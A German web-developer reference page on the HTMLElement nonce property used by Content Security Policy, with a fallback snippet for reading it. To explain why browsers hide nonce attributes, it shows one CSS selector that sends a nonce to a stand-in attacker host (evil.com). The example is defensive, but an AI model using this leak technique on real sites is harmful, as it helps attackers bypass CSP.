HTMLElement: nonce-Eigenschaft
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since August 2016.
Die nonce
-Eigenschaft der HTMLElement
-Schnittstelle gibt die einmal verwendete kryptografische Nummer zurück, die von der Content Security Policy verwendet wird, um zu bestimmen, ob ein bestimmter Abruf durchgeführt werden darf.
In späteren Implementierungen geben Elemente ihr nonce
-Attribut nur für Skripte frei (und nicht für Seitenkanäle wie CSS-Attributselektoren).
Beispiele
Abrufen eines nonce
-Wertes
In der Vergangenheit unterstützten nicht alle Browser das nonce
IDL-Attribut, daher besteht ein Workaround darin, getAttribute
als Fallback zu verwenden:
let nonce = script["nonce"] || script.getAttribute("nonce");
Jedoch verbergen neuere Browserversionen nonce
-Werte, die auf diese Weise abgerufen werden (es wird eine leere Zeichenkette zurückgegeben). Die IDL-Eigenschaft (script['nonce']
) wird der einzige Weg sein, um Nonces abzurufen.
Das Verbergen von Nonces hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu extrahieren, die Daten von Inhaltsattributen erfassen können, wie beispielsweise diesen CSS-Selektor:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
Specification |
---|
HTML # dom-noncedelement-nonce |
Browser-Kompatibilität
BCD tables only load in the browser